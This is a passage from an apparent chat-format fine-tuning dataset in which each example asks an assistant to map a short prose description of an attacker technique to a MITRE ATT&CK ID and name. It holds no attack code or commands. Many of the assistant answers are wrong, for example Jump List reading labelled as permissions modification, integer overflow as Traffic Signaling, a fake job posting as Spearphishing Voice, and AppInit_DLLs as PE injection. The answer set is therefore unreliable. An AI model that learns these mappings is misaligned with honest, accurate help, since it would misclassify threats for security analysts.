                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral movement via a compromised laptop involves utilizing its connectivity to access and control other devices on the internal network, often through wireless connections."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised corporate Dropbox folder, the attacker places a malicious file and shares it with targeted staff."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries engineer a heap spray technique to exploit a memory corruption bug in a widely used browser."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reads the Windows Jump List files to infer recent user activity."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious port monitor DLL is placed in the Windows System32\\spool\\drivers\\x86 directory to target 32‑bit processes for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors impersonate a trusted service account to execute commands on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes an integer overflow attack, causing an integer value to exceed its maximum limit, resulting in unexpected behavior that can be exploited by attackers."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a USB-based dropper that, when plugged in, logs system information and saves it to the drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a custom script to send extracted credentials to a paste site, exploiting the site's unauthenticated posting feature."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker compromises a domain name system management tool to modify zone files for malicious redirects."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool copies the contents of /proc/kmsg and other proc files to harvest credentials from running services."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Office documents leverage Visual Basic for Applications to enumerate user credentials from the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses a one-way HTTP POST to a public web service for data exfiltration, never reading or acting on server responses."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform extra window memory injection by creating a hidden window in a victim process and using SetWindowLongPtr to replace the window procedure with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro reads all files in the user's Downloads directory and compresses them."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker queries Active Directory for the members of the Domain Admins group using LDAP."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator invokes the OpenStack Nova API to delete a compute instance as part of post-exploitation."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script iterates over the user's Downloads folder, compresses any executable files found, and stages them for upload."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By patching the VDSO region, the threat actor redirects system calls to malicious routines, achieving process injection on Linux systems."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercise includes planting a malicious firmware update on a USB drive to gain persistence on target machines."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary conducts SMB relay by capturing authentication traffic after poisoning NBT-NS queries, then relays the credentials to a domain controller."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses Mimikatz to dump user certificate private keys from the Windows DPAPI and creates forged client certificates."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker tries to maintain persistence on a compromised system by creating a new service, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leverages automated calls that claim the target’s mailbox is over quota, directing them to a phishing website via a short‑code."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables certificate pinning in a mobile app, forcing it to accept any presented certificate."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages built‑in Windows Remote Desktop Protocol (RDP) to maintain persistent access to the victim system."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate credential files from a compromised Docker container's /var/lib/docker directory."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote access trojan logs all user input from the mouse and keyboard to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By running 'launchctl remove' on a critical system service, the attacker causes a denial‑of‑service condition on the host."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan accesses the password manager database of Opera to collect stored login information."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a PowerShell command that imports a malicious script from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code enumerates domain trusts by reading the TrustedDomain objects via LDAP."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using AppleScript, the attacker automates the execution of a hidden AppleScript payload that disables FileVault encryption on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the ImagePath registry key of a privileged Windows service to execute a malicious binary under SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a compromised Discord bot to send stolen files to a remote server via a custom webhook URL."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the permission of a setuid executable on Linux to allow execution as root."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the compromised host extracts the system's hostname, IP configuration, and MAC address, then sends this data back to the command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a PowerShell script that calls Get-ADDefaultDomainPasswordPolicy to discover password complexity rules."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set abuses the Group Policy Preferences feature to distribute and retrieve admin credentials across the network without encryption."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a misconfigured mail relay to retrieve stored emails from the server."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware invoked \"cmd /c\" to execute a series of commands that gathered system information and sent it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group alters the On-Screen Keyboard executable to launch ransomware whenever the on-screen keyboard is opened via the login screen."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code uses AppInit_DLLs registry key to load a DLL into every GUI process on system startup."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts TLS private keys from a web server's file system to decrypt captured network traffic."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant compresses and encrypts stolen data using a custom archive format before sending it out."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors develop zero‑day exploits to bypass application sandboxes and gain initial access."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 removes the endpoint protection agent by uninstalling its service and cleaning related files."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary monitors social media hashtags related to the victim's industry to identify upcoming events."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit retrieves API keys from configuration files that are stored with default permissions."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the internal ROM image of an embedded device, inserting malicious code that persists across reboots."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email pretends to be from the finance department and includes a link to a counterfeit invoice portal that, when opened, executes a malicious PowerShell script on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script queries container runtime statistics to enumerate CPU and memory usage of each container."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code generates a local service account to run its payload with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses compile‑after‑delivery to transform scripts into native binaries on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder queries the Docker daemon for container metadata, including image tags and creation timestamps."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script queries Active Directory via LDAP to enumerate domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised developer’s machine pushes malicious code into a GitHub repository, which is later built into a legitimate application."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending malformed packets that trigger an infinite loop in the target's networking stack, the adversary renders the host unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies an existing .service unit to execute a payload with root privileges on boot using systemctl enable."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group creates a fake job posting to collect resumes containing personal information for future credential abuse."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses forced authentication to attempt to brute-force user credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the Office startup folder to include a crafted .dotm template that loads a back‑doored add‑in on Word launch."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows Task Scheduler, the attacker sets a task with the highest privileges that launches a reverse shell after user logon."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the tsclient.dll file on the victim machine with a malicious version to achieve code execution when users connect via Remote Desktop."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators configured WinRM listeners and employed WMI to run commands on remote workstations."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a paid phishing kit repository to gather templates that bypass the target’s email security."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Google Cloud Functions to host a backdoor script that executes when a specific HTTP request is received."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a malicious macro that runs a VBScript to activate the system's webcam and stream video to an external IP."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gains access to the TPM's firmware, alters its behavior, and uses it to sign malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved extracting system information and using the Git clone and push commands to silently upload the data to a remote Bitbucket repository."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update pushes a new root certificate onto Android devices, granting the attacker the ability to spoof Wi‑Fi captive portals."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtains a malicious Android app through a third‑party app store to distribute spyware."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers encode shell command results using URL percent‑encoding before posting them to a public web forum."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker rents a bulletproof hosting provider to host a malicious payload distribution site."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed a shared network drive via a VPN connection and exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses a double extension 'installer.msi.exe' to appear as a Windows installer."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses PowerShell to convert binary files to a UTF-8 string via conversion to Base64 for C2."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
